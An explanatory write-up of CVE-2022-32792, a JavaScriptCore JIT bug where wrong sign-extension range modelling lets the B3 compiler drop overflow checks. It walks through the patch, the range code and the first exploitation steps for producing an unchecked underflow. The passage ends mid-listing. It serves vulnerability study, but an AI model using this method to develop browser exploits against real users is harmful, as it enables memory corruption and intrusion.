b3      Int32 b@555 = Trunc(b@545, D@26)
b3      Int64 b@556 = SExt32(b@555, D@26)
b3      Int32 b@557 = Equal(b@545, b@556, D@26)
b3      Int64 b@4 = Const64(296352744761, D@69)
b3      Void b@558 = Branch(b@557, Terminal, D@26)

The explanation given is:

  1. When assigning lhs+rhs to a variable or returning it, there is always code checking whether it overflowed and whether to convert to a Double. With the bug, only the overflow check is removed.
  2. When calling print or describe, there is no such code. It continues to treat lhs+rhs as an Int32 while the strength reduction is still involved. This is the only way found to bypass an overflow guard, but these functions only exist in JSC for debugging, so they cannot be used in an exploit.

No other operations or functions with the behaviour in (2) were found.

Step 8: tricking the compiler to use Int32

This was also not used in the final exploit. The idea was to force the result of lhs+rhs to be stored as Int32:

JavaScript
let tmp = 100;                 // [1] just some integer, so tmp is Int32
if (...) tmp = lhs + rhs;      // [2] after assignment, tmp is Int32
return tmp + 1;                // [3] tmp stays as Int32

Root cause

Before the patch, rangeFor treated SExt8, SExt16 and SExt32 as identity operations on the child's IntRange. That is wrong when the range crosses the sign boundary of the narrower type. For SExt8(IntRange(0x7f, 0x80)) the real values are [127, -128], not [127, 128]. The modelled range is then used by couldOverflowAdd/couldOverflowSub/couldOverflowMul, and a CheckAdd/CheckSub/CheckMul that should keep its overflow check is replaced with a plain Add/Sub/Mul. The arithmetic then underflows at runtime with no guard.

The patch fixes this by computing the sign-extended range in IntRange::sExt: it returns the range unchanged when both ends fit the target type, applies sign extension when both ends share the same top bits, and returns top otherwise. The commit subject is "Refine B3ReduceStrength's range for sign extension operations".

Impact

The bug is a Safari out-of-bounds write in WebKit, and the ZDI advisory covers a Safari out-of-bounds write exploited by Manfred Paul in Pwn2Own. The write-up demonstrates the wrong range, the underflow, and the removal of the overflow check. The value must stay Int32 rather than Int64 or Double, as in the SExt16 example.

Fix

The fix is the patch shown above: IntRange::sExt is added and called from the SExt8, SExt16 and SExt32 cases of rangeFor, replacing the previous identity return.

Variants to test

  • Other SExt widths: try SExt8 with a range crossing 0x7f/0x80, and SExt32 with a range crossing the 32-bit sign boundary. A positive result is a rangeFor (SExt) log showing a range that does not match the values printed at runtime.
  • CheckSub and CheckMul: the same rangeFor feeds couldOverflowSub and couldOverflowMul. A positive result is a CheckSub reduced or CheckMul reduced log for an operation that underflows or overflows at runtime.
  • compileGetMyArgumentByVal: the other speculateAdd site with user-controlled children. A positive result is a CheckAdd reduced log for an addition over the arguments object that underflows.
  • Phi values: rangeFor returns top for a Phi, so ranges through a Phi are lost. A positive result is a CheckAdd not reduced where a narrower range was expected, or the reverse when the Phi is bypassed.
  • Keeping values in Int32: try expressions without |0 and check whether B3 emits Int64 or Double operations instead. A positive result is a CheckAdd reduced log combined with an Int32 result at runtime.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 43 min read.

What happened, in plain words

Apple's Safari browser contains a piece of software called WebKit, and inside WebKit there is a component called JavaScriptCore (JSC) that runs the JavaScript code on web pages. To make JavaScript fast, JSC contains a compiler that translates JavaScript into machine code while the page is running. That kind of on-the-fly compiler is called a JIT compiler (Just-In-Time).

A compiler tries to be clever. If it can prove that a certain arithmetic operation can never overflow, it removes the safety check that would otherwise catch an overflow. That is fine as long as the proof is correct. In this case the proof was wrong: the compiler misjudged the range of possible values after an operation called sign extension, decided an overflow check was unnecessary, and removed it. When the program then actually underflowed, nothing caught it. That is the seed of an out-of-bounds write: writing to a place in memory that the program was not supposed to touch.

The vulnerability is tracked as CVE-2022-32792. The advisory was published by ZDI (Zero Day Initiative), and according to that advisory the bug was exploited by Manfred Paul (@_manfp) in Pwn2Own, a well-known hacking contest. The write-up below starts from Apple's patch, the small code change that fixed the bug, and works step by step towards an exploit.

A quick word on what an exploit is, for readers who have never seen one: an exploit is a sequence of inputs that turns a bug into a concrete effect the attacker wants, for example reading memory they should not see or writing memory they should not change. Getting from "the compiler made a wrong assumption" to "I can write outside an array" takes several careful steps, and that journey is what this article walks through.

Background: the pieces involved

The four speed levels of JavaScriptCore

JSC does not compile everything immediately. It has four tiers of execution, from slowest and simplest to fastest and most complex:

  • Interpreter (no JIT)
  • BaseLine JIT (very simple, just a 1-1 mapping of some bytecodes to assembly)
  • DFG JIT (dataflow graph)
  • FTL JIT (faster than light)

Think of it like a delivery service: walking the parcel over (interpreter), a bicycle (BaseLine), a van (DFG), and a motorbike courier (FTL). The faster the tier, the more assumptions it makes, and the more damage a wrong assumption can do.

Between these tiers the code is translated through several intermediate representations, which are internal languages the compiler uses. From higher level to lower level:

  • DFG IR (used by the DFG JIT)
  • DFG SSA IR (DFG converted to SSA form to allow more textbook optimisations, used in FTL)
  • B3 (BareBones Backend, lower than DFG, dropping away all JS semantics to allow for more optimisations, used in FTL)
  • Air (Assembly IR, very close to assembly, used in FTL)

An intermediate representation (IR) is like a blueprint that sits between the architect's sketch and the actual bricks. Each step downwards throws away more of the original JavaScript meaning and keeps only what the machine needs.

The patch in question touches one of the B3 optimisation phases in the FTL pipeline, the Reduce Strength phase.

Strength reduction

Strength reduction is a compiler optimisation where expensive operations are replaced with equivalent but less expensive ones. The classic example converts multiplications inside a loop into additions. If you multiply by 4, you can instead add the number to itself twice, which a processor may do faster.

b3/B3ReduceStrength.cpp contains many such optimisations, almost 3k lines of them. A simple example from the file:

C++
            // Turn this: Add(value, zero)
            // Into an Identity.
            //
            // Addition is subtle with doubles. Zero is not the neutral value, negative zero is:
            //    0 + 0 = 0
            //    0 + -0 = 0
            //    -0 + 0 = 0
            //    -0 + -0 = -0
            if (m_value->child(1)->isInt(0) || m_value->child(1)->isNegativeZero()) {
                replaceWithIdentity(m_value->child(0));
                break;
            }

Line by line: the comment explains the intent. The code checks whether the second operand of an addition is the integer zero or negative zero. If so, the whole addition is replaced by just the first operand, because adding zero changes nothing. The comment warns that with floating point numbers, negative zero behaves subtly differently, which is why both cases are checked. The break stops processing this particular instruction.

A more complex example:

C++
        case Sub:
            // Turn this: Sub(BitXor(BitAnd(value, mask1), mask2), mask2)
            // Into this: SShr(Shl(value, amount), amount)
            // Conditions:
            // 1. mask1 = (1 << width) - 1
            // 2. mask2 = 1 << (width - 1)
            // 3. amount = datasize - width
            // 4. 0 < width < datasize
            if (m_value->child(0)->opcode() == BitXor
                && m_value->child(0)->child(0)->opcode() == BitAnd
                && m_value->child(0)->child(0)->child(1)->hasInt()
                && m_value->child(0)->child(1)->hasInt()
                && m_value->child(1)->hasInt()) {
                uint64_t mask1 = m_value->child(0)->child(0)->child(1)->asInt();
                uint64_t mask2 = m_value->child(0)->child(1)->asInt();
                uint64_t mask3 = m_value->child(1)->asInt();
                uint64_t width = WTF::bitCount(mask1);
                uint64_t datasize = m_value->child(0)->child(0)->type() == Int64 ? 64 : 32;
                bool isValidMask1 = mask1 && !(mask1 & (mask1 + 1)) && width < datasize;
                bool isValidMask2 = mask2 == mask3 && ((mask2 << 1) - 1) == mask1;
                if (isValidMask1 && isValidMask2) {
                    Value* amount = m_insertionSet.insert<Const32Value>(m_index, m_value->origin(), datasize - width);
                    Value* shlValue = m_insertionSet.insert<Value>(m_index, Shl, m_value->origin(), m_value->child(0)->child(0)->child(0), amount);
                    replaceWithNew<Value>(SShr, m_value->origin(), shlValue, amount);
                    break;
                }
            }

Line by line: this handles a subtraction (Sub). The comment says the compiler wants to turn a complicated expression involving bitwise XOR and AND into a pair of shifts. The if checks that the shape of the expression matches the expected pattern and that the operands are constants. Then it reads the three constants into mask1, mask2 and mask3, counts the bits in mask1 into width, and decides whether the machine is working with 32-bit or 64-bit numbers. isValidMask1 and isValidMask2 verify the four conditions listed in the comment. If both are true, it builds a shift-left followed by an arithmetic shift-right and replaces the original subtraction. The point for us is not the details but the pattern: the compiler rewrites code based on assumptions about values.

SExt: sign extension

SExt is the short form of sign extension. There are three variants: SExt8, SExt16 and SExt32. All perform sign extension on a value to 64 bits, and the number is the bit width of the original value.

Sign extension is easiest to understand with an everyday comparison. Imagine a small box that holds a number written on a card, and a bigger box that holds a longer card. If the small card says a negative number, you fill the extra space on the long card with the sign (all ones in binary) so the value stays negative. If it says a positive number, you fill with zeros. The value does not change, only its width.

For example, SExt8 extends 0xfa to 0xfffffffffffffffa, and SExt16 extends 0xf7b2 to 0xfffffffffffff7b2.

Setup: how the investigation was done

The write-up works from the patch commit and a debug build of jsc. The commands shown use a debug build of jsc, the command-line JavaScript shell that ships with WebKit:

Shell
> ~/webkit-2.36.3/WebKitBuild/Debug/bin/jsc --dumpDisassembly=true --useConcurrentJIT=false ./poc2.js 2> poc2.log

Line by line: ~/webkit-2.36.3/WebKitBuild/Debug/bin/jsc is the path to the freshly built JavaScript shell. --dumpDisassembly=true asks it to print the generated machine code. --useConcurrentJIT=false turns off background compilation so the output is easier to follow. ./poc2.js is the test script. 2> poc2.log sends the diagnostic output to a file called poc2.log so it can be read afterwards.

The researchers added dataLogLn statements to B3ReduceStrength.cpp to observe the internal state of the optimisation phase. dataLogLn is a debugging print function inside WebKit: it writes a line of text to the diagnostic log. Adding these prints is like putting a camera in the compiler's office to see what it thinks.

The patch itself is:

Diff
From [redacted] Mon Sep 17 00:00:00 2001
From: Mark Lam <[email protected]>
Date: Fri, 20 May 2022 18:33:04 +0000
Subject: [PATCH] Refine B3ReduceStrength's range for sign extension
 operations. https://bugs.webkit.org/show_bug.cgi?id=240720
 <rdar://problem/93536782>

Reviewed by Yusuke Suzuki and Keith Miller.

* Source/JavaScriptCore/b3/B3ReduceStrength.cpp:

Canonical link: https://commits.webkit.org/250808@main

Line by line: this is the header of a git commit. The long hex string is the commit identifier. From: names the author, whose email address has been redacted here. Date: is when it was committed. Subject: is the one-line summary: refine the range calculation for sign extension operations. The two URLs point to the bug tracker entry and an internal Apple tracking number. Reviewed by lists the reviewers. The last line names the single file that changed.

The patch creates a new function, IntRange::sExt, used to decide the integer range after a sign extension operation in rangeFor. Before the patch, the program assumed the range stays the same after sign extension. That is incorrect and can result in wrongly removing an overflow or underflow check.

Finding it: reading the patch

The patch is small. The new function is called from rangeFor:

Diff
     IntRange rangeFor(Value* value, unsigned timeToLive = 5)
     {
         if (!timeToLive)
             return IntRange::top(value->type());

         switch (value->opcode()) {
         case Const32:
         case Const64: {
             int64_t intValue = value->asInt();
             return IntRange(intValue, intValue);
         }
         case BitAnd:
             if (value->child(1)->hasInt())
                 return IntRange::rangeForMask(value->child(1)->asInt(), value->type());
             break;

 		...

         case Add:
             return rangeFor(value->child(0), timeToLive - 1).add(
                 rangeFor(value->child(1), timeToLive - 1), value->type());

 	 	...

         case SExt8:
+            return rangeFor(value->child(0), timeToLive - 1).sExt<int8_t>();
         case SExt16:
+            return rangeFor(value->child(0), timeToLive - 1).sExt<int16_t>();
         case SExt32:
-            return rangeFor(value->child(0), timeToLive - 1);
+            return rangeFor(value->child(0), timeToLive - 1).sExt<int32_t>();
 	 }

Line by line: lines starting with + are added by the patch, lines starting with - are removed. The function rangeFor takes a Value (a node in the compiler's internal graph) and a timeToLive counter. If the counter is zero it returns top, the full possible range. Then it switches on the node's opcode, which is the name of the operation. For a constant (Const32 or Const64) it returns a range whose minimum and maximum are both that constant. For BitAnd it delegates to rangeForMask. For Add it recursively asks for the ranges of both children and adds them. The three SExt cases are where the patch lands: before, all three simply returned the child's range unchanged; after, they call the new sExt function with the appropriate width.

rangeFor returns an IntRange and behaves like a constructor, creating an IntRange from a Value. An IntRange is simply a pair of numbers, a minimum and a maximum, describing the set of values a piece of code might hold. If you know a variable is between 0 and 10, its IntRange is [0, 10]. There are two other static functions of IntRange: rangeForMask, called when value->opcode() == BitAnd, and rangeForZShr, called when value->opcode() == ZShr.

A Value has these fields, taking a = b + c as an example:

  • opcode: the DFG opcode used to generate the value. a has Add.
  • child: the other Value(s) used to generate the value. a has b and c.
  • type: for IntRange, only indicates whether the value is Int32 or Int64.

rangeFor also takes an optional timeToLive:

C++
    IntRange rangeFor(Value* value, unsigned timeToLive = 5)

Line by line: IntRange is the return type. rangeFor is the name. Value* value is the node to analyse. unsigned timeToLive = 5 is a counter that defaults to 5 if the caller does not supply one. It limits how deep the recursion goes, like a budget of questions you are allowed to ask before you give up.

This is the depth of recursive application on the children. For all opcodes other than Const32, Const64 and BitAnd, rangeFor calls itself recursively:

C++
        case Add:
            return rangeFor(value->child(0), timeToLive - 1).add(
                rangeFor(value->child(1), timeToLive - 1), value->type());
        case Sub:
            return rangeFor(value->child(0), timeToLive - 1).sub(
                rangeFor(value->child(1), timeToLive - 1), value->type());
        case Mul:
            return rangeFor(value->child(0), timeToLive - 1).mul(
                rangeFor(value->child(1), timeToLive - 1), value->type());

Line by line: for an addition, it asks for the range of the first child and the range of the second child, each with one less unit of budget, then combines them with .add. Subtraction and multiplication work the same way with .sub and .mul. Recursion here means the function calls itself on smaller pieces of the expression, like asking a colleague to check the sub-parts of a form.

It stops when timeToLive is 0:

C++
        if (!timeToLive)
            return IntRange::top(value->type());

Line by line: if the budget is exhausted, return the full range for the value's type. This is the safe answer: "it could be anything".

top returns the full integer range for the bit width of the Value, as is usual in abstract interpretation:

C++
    template<typename T>
    static IntRange top()
    {
        return IntRange(std::numeric_limits<T>::min(), std::numeric_limits<T>::max());
    }

    static IntRange top(Type type)
    {
        switch (type.kind()) {
        case Int32:
            return top<int32_t>();
        case Int64:
            return top<int64_t>();
        default:
            RELEASE_ASSERT_NOT_REACHED();
            return IntRange();
        }
    }

Line by line: the first function is a template, meaning it works for any numeric type T. It returns an IntRange from the smallest to the largest value that type can hold. The second function takes a Type and dispatches: for 32-bit integers it calls the template with int32_t, for 64-bit with int64_t, and for anything else it asserts that this should never happen. Abstract interpretation is the general technique of tracking sets of possible values instead of single values; top is the set of all values.

After five levels the function gives up and returns the full range. It also returns top for an unsupported opcode:

C++
        default:
            break;
        }

        return IntRange::top(value->type());

Line by line: if the switch did not match any known operation, it falls through to the end and returns the full range. Being conservative like this is the safe choice.

This happens with a Phi Value, for example:

JavaScript
let a = 10;
if (...) {
	a = 20;
}
let b = a * 2;

Line by line: a starts as 10. If some condition holds, a becomes 20. Then b is a times 2. A Phi node is the compiler's way of saying "this variable could have come from either branch". Here b has Mul and two children, Phi(Const32(10), Const32(20)) and Const32(2). The first child gets top as its range, although it is known to be [10, 20]. This came up while writing the exploit but is a small issue.

There are two base cases. First, a constant:

C++
        case Const32:
        case Const64: {
            int64_t intValue = value->asInt();
            return IntRange(intValue, intValue);
        }

Line by line: for a constant node, read its integer value and return a range where minimum and maximum are the same number. A base case is the point where recursion stops, like the bottom of a staircase.

Second, a BitAnd:

C++
        case BitAnd:
            if (value->child(1)->hasInt())
                return IntRange::rangeForMask(value->child(1)->asInt(), value->type());
            break;

Line by line: for a bitwise AND, if the second operand is a constant, hand off to rangeForMask with that constant as the mask. Otherwise fall through and return the full range.

C++
    template<typename T>
    static IntRange rangeForMask(T mask)
    {
        if (!(mask + 1))
            return top<T>();
        if (mask < 0)
            return IntRange(INT_MIN & mask, mask & INT_MAX);
        return IntRange(0, mask);
    }

    static IntRange rangeForMask(int64_t mask, Type type)
    {
        switch (type.kind()) {
        case Int32:
            return rangeForMask<int32_t>(static_cast<int32_t>(mask));
        case Int64:
            return rangeForMask<int64_t>(mask);
        default:
            RELEASE_ASSERT_NOT_REACHED();
            return IntRange();
        }
    }

Line by line: the first function computes the range of values that can result from ANDing with a mask. If the mask is all ones (adding one wraps to zero), every value is possible, so return top. If the mask is negative, apply it to the minimum and maximum integers. Otherwise the result must lie between 0 and the mask. The second function dispatches on the type, just like top did.

For a = b & 0x2ffff with b in [0x1337, 0x31337], the new range is [0x1337, 0x21337], because the mask is applied to both ends. These two base cases are important for crafting the conditions that trigger the OOB write.

Before the patch, the SExt case in rangeFor was:

C++
    IntRange rangeFor(Value* value, unsigned timeToLive = 5)
    {
        if (!timeToLive)
            return IntRange::top(value->type());

        switch (value->opcode()) {
        ...
        // this is the code before the patch (so it doesn't call IntRange::sExt)
		case SExt8:
        case SExt16:
        case SExt32:
            return rangeFor(value->child(0), timeToLive - 1);
        ...
		default:
            break;
        }

        return IntRange::top(value->type());
	}

Line by line: this is the old version. For all three sign extension operations, it simply returns the range of the child, as if sign extension did nothing at all. That is the mistake.

For SExt16(Add(Const32(0x1), BitAnd(..., 0xfff))) in 64 bits, the evaluation is:

  1. SExt16(Add(a, b)), where a is IntRange(1, 1) and b is IntRange(0, 0xfff).
  2. SExt16(IntRange(1, 0x1000)), since Add(a, b) gives [1, 0x1000].
  3. IntRange(1, 0x1000), since sign extending both 16-bit values gives the same values.

Like sign extension in x86 assembly, it only has an effect when the MSB is on. The MSB is the most significant bit, the leftmost bit, which in a signed number tells you whether the number is negative. So returning the child unchanged looks reasonable, but it is not always correct.

An example of B3 code generated for the POC:

Text
b3      Int32 b@319 = BitAnd(b@12, $1(b@1), D@291)
b3      Int32 b@330 = Add(b@319, $32767(b@727), D@295)
b3      Int32 b@738 = SExt16(b@330, D@302)
b3      Int32 b@743 = Add(b@738, $-32766(b@742), D@306)

Line by line: each line is one instruction in the B3 language. b@319 is a name for a value. BitAnd(b@12, $1(b@1), D@291) means take b@12 and AND it with the constant 1. Add(b@319, $32767(b@727), D@295) adds 32767 to the previous result. SExt16(b@330, D@302) sign-extends that result from 16 bits. Add(b@738, $-32766(b@742), D@306) adds minus 32766. The D@ numbers are debug identifiers for source positions.

What happens to an IntRange

rangeFor is used by checkAdd, checkSub and checkMul. They mostly do the same thing, so the write-up focuses on checkAdd:

C++
// in b3/B3ReduceStrength.cpp
        case CheckAdd: {
            if (replaceWithNewValue(m_value->child(0)->checkAddConstant(m_proc, m_value->child(1))))
                break;

            handleCommutativity();

            if (m_value->child(1)->isInt(0)) {
                replaceWithIdentity(m_value->child(0));
                break;
            }

            IntRange leftRange = rangeFor(m_value->child(0));
            IntRange rightRange = rangeFor(m_value->child(1));
            dataLogLn("CheckAdd overflow check: ", leftRange, " + ", rightRange);
            if (!leftRange.couldOverflowAdd(rightRange, m_value->type())) {        // [2]
                dataLogLn("CheckAdd reduced");
                replaceWithNewValue(                                               // [1]
                    m_proc.add<Value>(Add, m_value->origin(), m_value->child(0), m_value->child(1)));
                break;
            } else {
                dataLogLn("CheckAdd not reduced");
            }
            break;
        }

Line by line: CheckAdd is an addition with a built-in overflow check. The first if tries a simpler rewrite for constant operands. handleCommutativity reorders operands if that helps. The next if handles adding zero. Then it computes the range of the left and right operands, prints them for debugging, and asks couldOverflowAdd whether an overflow is possible. If not, at [1] it replaces the checked addition with a plain Add, which has no check. The else branch logs that the check was kept. This is the moment where a wrong range turns into a missing safety net.

C++
// in b3/B3ReduceStrength.cpp
    template<typename T>
    bool couldOverflowAdd(const IntRange& other)
    {
        return sumOverflows<T>(m_min, other.m_min)
            || sumOverflows<T>(m_min, other.m_max)
            || sumOverflows<T>(m_max, other.m_min)
            || sumOverflows<T>(m_max, other.m_max);
    }

    bool couldOverflowAdd(const IntRange& other, Type type)
    {
        switch (type.kind()) {
        case Int32:
            return couldOverflowAdd<int32_t>(other);
        case Int64:
            return couldOverflowAdd<int64_t>(other);
        default:
            return true;
        }
    }

Line by line: the first function checks the four extreme combinations of the two ranges: smallest plus smallest, smallest plus largest, largest plus smallest, largest plus largest. If any of those overflows, an overflow is possible. The second function dispatches on the type and, for unknown types, conservatively says yes, an overflow is possible.

C++
// in WTF/wtf
template<typename T, typename... Args> bool sumOverflows(Args... args)
{
    return checkedSum<T>(args...).hasOverflowed();
}

Line by line: sumOverflows adds the arguments using a checked addition and reports whether it overflowed. checkedSum is a helper that detects overflow instead of silently wrapping around.

As replaceWithNewValue at [1] shows, the CheckAdd is replaced with an Add. The difference is the overflow check after the addition: CheckAdd checks, Add does not. The replacement is allowed when couldOverflowAdd returns false at [2]. This is the common pattern of wrong range assumptions behind existing JIT bugs. The IntRange is only used for checks like couldOverflowAdd and discarded later; it is not part of the generated IR or later optimisation phases. CheckSub and CheckMul follow the same pattern.

A search shows IntRange is only created in rangeFor, and there is a comment in the file:

C++
// FIXME: This IntRange stuff should be refactored into a general constant propagator. It's weird
// that it's just sitting here in this file.
class IntRange {
public:
    IntRange()
    {
    }
private:
    int64_t m_min { 0 };
    int64_t m_max { 0 };
};

Line by line: the comment is a note from the developers saying this range-tracking code should really live in a general-purpose component. The class stores two 64-bit integers, m_min and m_max, both starting at zero. That is the whole data structure: a minimum and a maximum.

The patch

The patch adds sExt, used when rangeFor is called with a SExt instruction:

C++
    template<typename T>
    IntRange sExt()
    {
        ASSERT(m_min >= INT32_MIN);
        ASSERT(m_max <= INT32_MAX);
        int64_t typeMin = std::numeric_limits<T>::min();
        int64_t typeMax = std::numeric_limits<T>::max();
        auto min = m_min;
        auto max = m_max;

        if (typeMin <= min && min <= typeMax
            && typeMin <= max && max <= typeMax)
            return IntRange(min, max);

        // Given type T with N bits, signed extension will turn bit N-1 as
        // a sign bit. If bits N-1 upwards are identical for both min and max,
        // then we're guaranteed that even after the sign extension, min and
        // max will still be in increasing order.
        //
        // For example, when T is int8_t, the space of numbers from highest to
        // lowest are as follows (in binary bits):
        //
        //      highest     0 111 1111  ^
        //                    ...       |
        //            1     0 000 0001  |   top segment
        //            0     0 000 0000  v
        //
        //           -1     1 111 1111  ^
        //           -2     1 111 1110  |   bottom segment
        //                    ...       |
        //       lowest     1 000 0000  v
        //
        // Note that if we exclude the sign bit, the range is made up of 2 segments
        // of contiguous increasing numbers. If min and max are both in the same
        // segment before the sign extension, then min and max will continue to be
        // in a contiguous segment after the sign extension. Only when min and max
        // spans across more than 1 of these segments, will min and max no longer
        // be guaranteed to be in a contiguous range after the sign extension.
        //
        // Hence, we can check if bits N-1 and up are identical for the range min
        // and max. If so, then the new min and max can be be computed by simply
        // applying sign extension to their original values.

        constexpr unsigned numberOfBits = countOfBits<T>;
        constexpr int64_t segmentMask = (1ll << (numberOfBits - 1)) - 1;
        constexpr int64_t topBitsMask = ~segmentMask;
        int64_t minTopBits = topBitsMask & min;
        int64_t maxTopBits = topBitsMask & max;

        if (minTopBits == maxTopBits)
            return IntRange(static_cast<int64_t>(static_cast<T>(min)), static_cast<int64_t>(static_cast<T>(max)));

        return top<T>();
    }

Line by line: the two ASSERT lines are sanity checks that the stored range fits in 32 bits. typeMin and typeMax are the smallest and largest values the target type can hold. min and max copy the stored range. The first if says: if both ends already fit inside the target type, return them unchanged. The long comment explains the tricky part: sign extension turns the top bit into a sign bit, and the number space splits into two contiguous segments, one for non-negative numbers and one for negative numbers. If both ends of the range are in the same segment, sign extension keeps them in order. If they straddle the boundary, the order can break. The code computes a mask for the top bits, extracts the top bits of min and max, and if they are equal, applies sign extension to both ends with the double static_cast. Otherwise it returns top, the safe full range.

The problem, per the comment, is that the IntRange can stop being contiguous, which is problematic. A simple example of a non-contiguous range is [10, 1]. Before the patch, rangeFor was effectively a no-op on SExt, an identity on the child. That can give false information to CheckAdd/CheckSub/CheckMul, where the check should be kept but is dropped. Since these three only check for overflow, the bug should be related to an overflow.

IntRange::sExt does one of three things:

  1. Nothing, when min and max are within the target type's min and max. The target can be 32-bit or 64-bit, while min and max are 64-bit values.
  2. Applies sign extension to min and max, when they have the same top bits.
  3. Returns top, when the top bits differ.

All values are stored as 64-bit integers internally. Scenarios 1 and 2 look normal. The attention given to scenario 3 suggests the bug occurs when min and max have different top bits. The comment says min and max may no longer be in increasing order, i.e. min > max. That could happen if an IntRange with 16-bit values is passed to SExt8.

Sign extension in sExt is done with static_cast<T> then static_cast<int64_t>, where T is int8_t or int16_t for SExt8 and SExt16. A small C program was used to test the behaviour:

C++
#include <iostream>
#include <climits>
using namespace std;

template<typename T>
void print(int64_t min, int64_t max)
{
	printf("%lx %lx\n",
		static_cast<int64_t>(static_cast<T>(min)),
		static_cast<int64_t>(static_cast<T>(max))
	);
}

int main() {
	// your code goes here
	print<int8_t>(0x110, 0x180);

	return 0;
}

Line by line: the includes pull in input/output and integer limits. print is a template that takes two 64-bit numbers, narrows each to type T, then widens it back to 64 bits, and prints both in hexadecimal. main calls it with T set to int8_t and the values 0x110 and 0x180. The point is to see what narrowing and widening does to numbers that do not fit in 8 bits.

Text
output:
10 ffffffffffffff80

Line by line: the first value, 0x110, narrowed to 8 bits becomes 0x10, which is positive, so widening gives 0x10. The second value, 0x180, narrowed to 8 bits becomes 0x80, whose top bit is set, so it is negative, and widening fills the upper bits with ones, giving 0xffffffffffffff80. The two ends of the range have swapped order: the minimum is now larger than the maximum. That is the non-contiguous range the patch comment warned about.

Exploitation

Step 1: the wrong range

Try SExt8(IntRange(0x7f, 0x80)). Before the patch, the expected and actual ranges (stored as 32-bit values) are:

  • Expected (wrongly modelled before the patch): [0x7f, 0x80], decimal [127, 128]
  • Reality (correctly modelled after the patch): [0x7f, 0xffffff80], decimal [127, -128]

The range is already modelled wrongly. In actual execution the range is not [127, 128]. The other range [127, -128] does not make sense either; it should be written [-128, 127]. It is kept as [127, -128] to highlight the problem.

Adding a large negative constant 0x80000000, represented as [0x80000000, 0x80000000], gives:

  • Expected: [8000007f, 80000080], decimal [-2147483521, -2147483520]
  • Reality: [8000007f, 7fffff80], decimal [-2147483521, 2147483520]

An experiment on ideone:

C++
#include <iostream>
using namespace std;

int main() {
	int a = 0x80000000;
	int b = a + 0x7f;
	int c = a + 0x80;
	int d = 0xffffff80;
	int e = a + d;
	printf("%x\t%d\n%x\t%d\n%x\t%d\n%x\t%d\n%x\t%d\n",
		a,a,
		b,b,
		c,c,
		d,d,
		e,e);
	return 0;
}

Line by line: a is the large negative constant. b and c add the two ends of the expected range to it. d is the sign-extended form of 0x80. e adds a and d. The printf prints each value in hexadecimal and decimal. This is a small standalone test to see what the processor actually does, without any compiler cleverness.

Text
80000000	-2147483648
8000007f	-2147483521
80000080	-2147483520
ffffff80	-128
7fffff80	2147483520        (80000000+7fffff80)

Line by line: a is -2147483648, the most negative 32-bit number. Adding 0x7f and 0x80 gives the two expected results. d is -128. Adding a and d gives 0x7fffff80, a large positive number, which means the addition wrapped around: an underflow.

The conditions for an overflow are positive + positive = negative and negative + negative = positive. There is never an overflow for positive + negative or negative + positive. In the expected case (the wrong model before the patch), both positive values are added with a negative constant, so the optimisation thinks no overflow occurs and removes the overflow check by turning CheckAdd into Add. In reality (the correct model after the patch), max is negative, and adding it to a large negative constant can overflow, specifically underflow.

Concretely: an input expected in [0x7f, 0x80] gets a SExt16, then a constant 0x80000000 is added. With input 0x80, Add(SExt16(0x80), 0x80000000):

  1. SExt16(0x80) = 0xffffff80
  2. Add(0xffffffff80, 0x80000000) = 0x7fffff80 (underflowed)

Step 2: making the range in JS

The constant is easy. To make rangeFor expect [0x7f, 0x80]:

  1. Make [0, 1] with BitAnd(x, 1), which calls IntRange::rangeForMask with mask 0x1, giving min 0 and max 1.
  2. Add Const32(0x7f) to the result.
  3. Apply SExt8/SExt16.

Step 3: generating SExt

Searching for SExt8/SExt16 in the codebase, b3/B3Opcode.h has:

C++
inline Opcode signExtendOpcode(Width width)
{
    switch (width) {
    case Width8:
        return SExt8;
    case Width16:
        return SExt16;
    default:
        RELEASE_ASSERT_NOT_REACHED();
        return Oops;
    }
}

Line by line: this function maps a width to the matching sign extension opcode. For 8 bits it returns SExt8, for 16 bits SExt16, and for anything else it asserts that this should never happen and returns an error opcode.

But signExtendOpcode is only used in b3/B3LowerMacros.cpp for Atomic-related instructions, so it is not the first place to look.

Another place SExt8 is generated, in b3/B3EliminateCommonSubexpressions.cpp:

C++
        case Load8S: {
            handleMemoryValue(
                ptr, range,
                [&] (MemoryValue* candidate) -> bool {
                    return candidate->offset() == offset
                        && (candidate->opcode() == Load8S || candidate->opcode() == Store8);
                },
                [&] (MemoryValue* match, Vector<Value*>& fixups) -> Value* {
                    if (match->opcode() == Store8) {
                        Value* sext = m_proc.add<Value>(
                            SExt8, m_value->origin(), match->child(0));
                        fixups.append(sext);
                        return sext;
                    }
                    return nullptr;
                });
            break;
        }

Line by line: this handles a signed 8-bit load from memory. It calls handleMemoryValue with two lambdas, which are small inline functions. The first decides whether a candidate memory operation is a match. The second, when the match is a store, creates a SExt8 node and records it for later fixing up. This looks complex and was skipped.

In b3/B3ReduceStrength.cpp itself there are strength-reducing optimisations for SShr (arithmetic right shift):

C++
        case SShr:
            // Turn this: SShr(constant1, constant2)
            // Into this: constant1 >> constant2
            if (Value* constant = m_value->child(0)->sShrConstant(m_proc, m_value->child(1))) {
                replaceWithNewValue(constant);
                break;
            }

            if (m_value->child(1)->hasInt32()
                && m_value->child(0)->opcode() == Shl
                && m_value->child(0)->child(1)->hasInt32()
                && m_value->child(1)->asInt32() == m_value->child(0)->child(1)->asInt32()) {
                switch (m_value->child(1)->asInt32()) {
                case 16:
                    if (m_value->type() == Int32) {
                        // Turn this: SShr(Shl(value, 16), 16)
                        // Into this: SExt16(value)
                        replaceWithNewValue(
                            m_proc.add<Value>(
                                SExt16, m_value->origin(), m_value->child(0)->child(0)));
                    }
                    break;

                case 24:
                    if (m_value->type() == Int32) {
                        // Turn this: SShr(Shl(value, 24), 24)
                        // Into this: SExt8(value)
                        replaceWithNewValue(
                            m_proc.add<Value>(
                                SExt8, m_value->origin(), m_value->child(0)->child(0)));
                    }
                    break;

                case 32:
                    if (m_value->type() == Int64) {
                        // Turn this: SShr(Shl(value, 32), 32)
                        // Into this: SExt32(Trunc(value))
                        replaceWithNewValue(
                            m_proc.add<Value>(
                                SExt32, m_value->origin(),
                                m_insertionSet.insert<Value>(
                                    m_index, Trunc, m_value->origin(),
                                    m_value->child(0)->child(0))));
                    }
                    break;

                // FIXME: Add cases for 48 and 56, but that would translate to SExt32(SExt8) or
                // SExt32(SExt16), which we don't currently lower efficiently.

                default:
                    break;
                }

